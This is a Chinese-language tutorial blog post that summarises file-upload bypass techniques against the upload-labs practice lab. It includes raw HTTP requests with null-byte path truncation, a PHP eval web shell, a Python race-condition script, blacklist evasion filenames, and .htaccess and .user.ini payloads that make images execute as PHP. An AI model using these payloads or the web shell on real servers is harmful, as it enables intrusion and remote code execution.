文件上传简单的绕过总结

目录

绕过前端JS校验

修改MIME头

白名单校验

%00截断

00截断

图片马+文件包含漏洞

getimagesize()绕过

exif_imagetype()绕过

二次渲染绕过

条件竞争

黑名单校验

扩展名绕过

大小写绕过

双写绕过

win环境末尾加.绕过

win环境末尾加空格绕过

win环境NTFS数据流绕过

[win环境. . 绕过](#win环境. . 绕过)

上传.htaccess

上传.user.ini

绕过前端JS校验

修改MIME头

白名单校验

%00截断

url文件上传路径可控,且是GET方式如

bash 复制代码
POST /Pass-12/index.php?save_path=../upload/ HTTP/1.1
Host: 192.168.112.1
Content-Length: 317
Cache-Control: max-age=0
Origin: http://192.168.112.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywbRn0IlTa7M4vDez
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.112.1/Pass-12/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundarywbRn0IlTa7M4vDez
Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
------WebKitFormBoundarywbRn0IlTa7M4vDez
Content-Disposition: form-data; name="submit"

涓婁紶
------WebKitFormBoundarywbRn0IlTa7M4vDez--

通过将路径写成save_path=../upload/1.php%00,随后请求头参数写成filename=1.jpg,首先1.jpg绕过白名单校验,随后路径拼接并保存为../upload/1.php%001.jpg,但是服务端读取解析时遇到%00会将后面的截断,所以解析的实际上是1.php文件而不是1.php%001.jpg文件。

00截断

url文件上传路径可控,且是POST方式如

bash 复制代码
POST /Pass-13/index.php HTTP/1.1
Host: 192.168.112.1
Content-Length: 423
Cache-Control: max-age=0
Origin: http://192.168.112.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryinAJxRHj968kAgcE
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.112.1/Pass-13/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundaryinAJxRHj968kAgcE
Content-Disposition: form-data; name="save_path"

../upload/
------WebKitFormBoundaryinAJxRHj968kAgcE
Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
------WebKitFormBoundaryinAJxRHj968kAgcE
Content-Disposition: form-data; name="submit"

涓婁紶
------WebKitFormBoundaryinAJxRHj968kAgcE--

POST方式,url可控但是在请求体中,文件名也在请求体中,这里我们通过将../upload/写为../upload/1.php+,随后使用十六进制形式将+号的十六进制形式改为00,随后文件名为1.jpg然后放包就可以了,这里为什么不直接拼接%00呢?因为使用POST方式不能对%00进行解码,但是GET方式就可以,这个思路跟%00截断大差不差。

图片马+文件包含漏洞

使用windows的cmd制作图片马

随后配合文件包含漏洞

getimagesize()绕过

可以使用windows制作图片马或者直接在含有恶意php脚本的图片文件前面插入GIF89a

exif_imagetype()绕过

可以使用windows制作图片马或者直接在含有恶意php脚本的图片文件前面插入GIF89a

二次渲染绕过

有些二次渲染会将原本的包含图片马进行损坏,这里可以通过使用010editor编辑一个二次渲染后图片马不会损坏的图片马,这里直接给出一个二次渲染后不会损坏的图片马点击这里,该图片马内容为,随后配合文件包含漏洞打组合拳即可。

php 复制代码
<?php @eval($_POST['zoe']);?>

条件竞争

python脚本(url改成你们自己上传文件后的路径)

python 复制代码
import requests
import threading
import os
 
 
class RaceCondition(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
        self.url = 'http://127.0.0.1/upload-labs/upload/wshell.php'
 
    def _get(self):
        print('try to call uploaded file...')
        r = requests.get(self.url)
        if r.status_code == 200:
            print(r.text)
            os._exit(0)
 
    def run(self):
        while True:
            for i in range(5):
                self._get()
 
            for i in range(10):
                self._get()
 
 
if __name__ == '__main__':
    threads = 50
 
    for i in range(threads):
        t = RaceCondition()
        t.start()
 
    for i in range(threads):
        t.join()

这个脚本的作用是不断访问上传的木马文件1.php,直到访问成功(返回200状态码)时才停止访问。

然后burp爆破无限上传1.php,随后脚本执行,即可能条件竞争成功。

黑名单校验

扩展名绕过

1.php->1.php3

1.php3,1.php4,1.php5,1.php6,1.php7

1.phtml

大小写绕过

1.php->1.PHp

双写绕过

1.php->1.pphphp

win环境末尾加.绕过

1.php->1.php.

win环境末尾加空格绕过

1.php->1.php

win环境NTFS数据流绕过

1.php->1.php::$DATA

win环境. . 绕过

1.php->1.php. .

上传.htaccess

.htaccess文件内容如下

bash 复制代码
AddType application/x-httpd-php .jpg

首先上传1个.htaccess文件,接着上传一个1.jpg文件,文件中包含php恶意代码。

当尝试访问1.jpg文件时,Apache会尝试将它作为php脚本并执行,而不是显示它作为图象文件。

上传.user.ini

.user.ini文件内容如下

bash 复制代码
auto_prepend_file=1.jpg(与自己上传的文件名相同)

先上传.user.ini文件,接着上传一个1.jpg文件,文件中包含php恶意代码。

当尝试访问1.jpg文件时,开启了fastcgi的服务器如(Nginx,Apache)会尝试将它作为php脚本并执行,而不是显示它作为图象文件。

AddType application/x-httpd-php .jpg

auto_prepend_file=1.jpg

相关推荐
代码s贝多芬的音符16 小时前
android 两个人脸对比 mlkit
android
darkb1rd17 小时前
五、PHP类型转换与类型安全
android·安全·php
gjxDaniel18 小时前
Kotlin编程语言入门与常见问题
android·开发语言·kotlin
csj5018 小时前
安卓基础之《(22)—高级控件(4)碎片Fragment》
android
峥嵘life19 小时前
Android16 【CTS】CtsMediaCodecTestCases等一些列Media测试存在Failed项
android·linux·学习
stevenzqzq19 小时前
Compose 中的状态可变性体系
android·compose
似霰20 小时前
Linux timerfd 的基本使用
android·linux·c++
darling3311 天前
mysql 自动备份以及远程传输脚本,异地备份
android·数据库·mysql·adb
你刷碗1 天前
基于S32K144 CESc生成随机数
android·java·数据库
TheNextByte11 天前
Android上的蓝牙文件传输:跨设备无缝共享
android